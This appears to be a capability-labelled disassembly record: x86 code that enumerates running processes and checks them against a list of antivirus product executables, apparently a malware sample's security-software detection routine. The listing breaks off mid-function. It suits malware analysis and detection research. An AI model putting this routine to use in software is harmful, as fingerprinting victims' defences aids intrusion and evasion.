Function at 0x100222aa
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov dword [ebp - 4], 0
push 0x28
call fcn.100abdd1
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0xa
rep stosd dword es:[edi], eax
add ebx, 0x24
push ebx
push pe_nt_image_headers32
call fcn.100abdd1
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x100d479d
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x40
rep stosd dword es:[edi], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
jmp 0x1002231f
mov dword [ebp - 0x14], esp
push 0
push 2
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x10022352
push 0xe0
push 0x4031b39
push 6
call fcn.100abddd
add esp, 0xc
mov dword [ebp - 4], eax
mov ebx, dword [ebp - 8]
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x14]
mov dword [ebx], 0x128
mov dword [ebp - 0x14], esp
mov eax, dword [ebp - 8]
push eax
push 0x124
call fcn.100abdd1
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push dword [ebp - 4]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_Process32First]
nop
nop
cmp dword [ebp - 0x14], esp
je 0x1002241b
push 0x147
push 0x4031b39
push 6
call fcn.100abddd
add esp, 0xc
push eax
mov ebx, dword [ebp - 0x18]
push ebx
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.100aca70
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x100224ac
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x100224aa
imul eax, dword [edi]
jmp 0x1002249f
mov ecx, eax
cmp ecx, 0x100
jle 0x100224b9
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x1002395c
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x14], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
push 0x100d43cd
push reloc.WS2_32.dll_getpeername
push 0
push 0x100dc9a3
push 3
mov ebx, 0x10
mov eax, 0x100b9bb0
call fcn.100acb10
add esp, 0x28
mov dword [ebp - 0x1c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x10022559
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x1002257f
push ebx
call fcn.100abdd7
add esp, 4
push str..exe
push dword [ebp - 0x20]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x100225a7
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x24]
push eax
push dword [ebp - 0x18]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x100225d4
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x100225e4
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x28], 0
jne 0x10022702
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x2c], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x2c]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x30], eax
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
push 0x100d43cd
push reloc.WS2_32.dll_getpeername
push 0
push 0x100dc9c0
push 3
mov ebx, 0x10
mov eax, 0x100b9bb0
call fcn.100acb10
add esp, 0x28
mov dword [ebp - 0x34], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x10022669
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1002268f
push ebx
call fcn.100abdd7
add esp, 4
push str..exe
push dword [ebp - 0x38]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x100226b7
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x3c]
push eax
push dword [ebp - 0x30]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x100226e4
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x100226f4
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x40], 0
jne 0x10022702
xor eax, eax
jmp 0x10022707
mov eax, 1
test eax, eax
je 0x1002273f
push str._360
push dword [ebp - 0x10]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x1002273b
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x14], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
push 0x100d43cd
push reloc.WS2_32.dll_getpeername
push 0
push 0x100dc9e5
push 3
mov ebx, 0x10
mov eax, 0x100b9bb0
call fcn.100acb10
add esp, 0x28
mov dword [ebp - 0x1c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x100227ba
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x100227e0
push ebx
call fcn.100abdd7
add esp, 4
push str..exe
push dword [ebp - 0x20]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10022808
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x24]
push eax
push dword [ebp - 0x18]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10022835
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10022845
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x1002287f
push 0x100dc9fd
push dword [ebp - 0x10]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x1002287b
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x14], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.QQPCTray.exe
push dword [ebp - 0x18]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x100228d7
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x1c], 0
je 0x10022911
push 0x100dca13
push dword [ebp - 0x10]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x1002290d
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x14], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.HipsTray.exe
push dword [ebp - 0x18]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10022969
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x1c], 0
je 0x100229a3
push 0x100dca28
push dword [ebp - 0x10]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x1002299f
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x14], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.BaiduSdSvc.exe
push dword [ebp - 0x18]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x100229fb
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x1c], 0
je 0x10022a35
push 0x100dca41
push dword [ebp - 0x10]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10022a31
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x14], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
push 0x100d43cd
push reloc.WS2_32.dll_getpeername
push 0
push 0x100dca47
push 3
mov ebx, 0x10
mov eax, 0x100b9bb0
call fcn.100acb10
add esp, 0x28
mov dword [ebp - 0x1c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x10022ab0
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x10022ad6
push ebx
call fcn.100abdd7
add esp, 4
push str..exe
push dword [ebp - 0x20]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10022afe
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x24]
push eax
push dword [ebp - 0x18]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10022b2b
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10022b3b
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x10022b75
push 0x100dca5f
push dword [ebp - 0x10]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10022b71
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x14], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
push 0x100d43cd
push reloc.WS2_32.dll_getpeername
push 0
push 0x100dca69
push 3
mov ebx, 0x10
mov eax, 0x100b9bb0
call fcn.100acb10
add esp, 0x28
mov dword [ebp - 0x1c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x10022bf0
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x10022c16
push ebx
call fcn.100abdd7
add esp, 4
push str..exe
push dword [ebp - 0x20]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10022c3e
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x24]
push eax
push dword [ebp - 0x18]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10022c6b
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10022c7b
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x10022cb5
push 0x100dca81
push dword [ebp - 0x10]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10022cb1
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x14], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
push 0x100d43cd
push reloc.WS2_32.dll_getpeername
push 0
push 0x100dca8b
push 3
mov ebx, 0x10
mov eax, 0x100b9bb0
call fcn.100acb10
add esp, 0x28
mov dword [ebp - 0x1c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x10022d30
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x10022d56
push ebx
call fcn.100abdd7
add esp, 4
push str..exe
push dword [ebp - 0x20]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10022d7e
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x24]
push eax
push dword [ebp - 0x18]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10022dab
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10022dbb
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x10022df5
push 0x100dcaa3
push dword [ebp - 0x10]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10022df1
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x14], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.KvMonXP.exe
push dword [ebp - 0x18]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10022e4d
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x1c], 0
je 0x10022e87
push 0x100dcab5
push dword [ebp - 0x10]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10022e83
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x14], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.mcupdui.exe
push dword [ebp - 0x18]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10022edf
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x1c], 0
je 0x10022f19
push str._MoAfee
push dword [ebp - 0x10]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10022f15
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x14], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.egui.exe
push dword [ebp - 0x18]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10022f71
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x1c], 0
je 0x10022fab
push str._NOD32
push dword [ebp - 0x10]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10022fa7
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x14], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.secenter.exe
push dword [ebp - 0x18]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10023003
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x1c], 0
je 0x1002303d
push str._BltDefender
push dword [ebp - 0x10]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10023039
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x14], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
push 0x100d43cd
push reloc.WS2_32.dll_getpeername
push 0
push 0x100dcaf9
push 3
mov ebx, 0x10
mov eax, 0x100b9bb0
call fcn.100acb10
add esp, 0x28
mov dword [ebp - 0x1c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x100230b8
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x100230de
push ebx
call fcn.100abdd7
add esp, 4
push str..exe
push dword [ebp - 0x20]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x10023106
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x24]
push eax
push dword [ebp - 0x18]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x10023133
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10023143
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x28], 0
je 0x1002317d
push 0x100dcb09
push dword [ebp - 0x10]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10023179
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x14], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.ccSvrHst.exe
push dword [ebp - 0x18]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x100231d5
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x1c], 0
jne 0x100232a7
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x20], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x20]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.Navapsvc.exe
push dword [ebp - 0x24]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10023237
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x28], 0
jne 0x100232a7
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x2c], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x2c]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x30], eax
push str.ns.exe
push dword [ebp - 0x30]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x10023299
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x34], 0
jne 0x100232a7
xor eax, eax
jmp 0x100232ac
mov eax, 1
test eax, eax
je 0x100232e4
push 0x100dcb34
push dword [ebp - 0x10]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x100232e0
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x14], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.spiderui.exe
push dword [ebp - 0x18]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x1002333c
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x1c], 0
je 0x10023376
push str._Dr.Web
push dword [ebp - 0x10]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10023372
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x14], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.avcenter.exe
push dword [ebp - 0x18]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x100233ce
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x1c], 0
jne 0x1002343e
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x20], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x20]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.avguard.exe
push dword [ebp - 0x24]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x10023430
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x28], 0
jne 0x1002343e
xor eax, eax
jmp 0x10023443
mov eax, 1
test eax, eax
je 0x1002347b
push 0x100dcb68
push dword [ebp - 0x10]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10023477
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
add ebx, 0x24
mov dword [ebp - 0x14], ebx
push 0xa0000101
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x18], eax
push str.ashDisp.exe
push dword [ebp - 0x18]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x100234d3
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x1c], 0
je 0x1002350d
push str._avast
push dword [ebp - 0x10]
mov ecx, 2
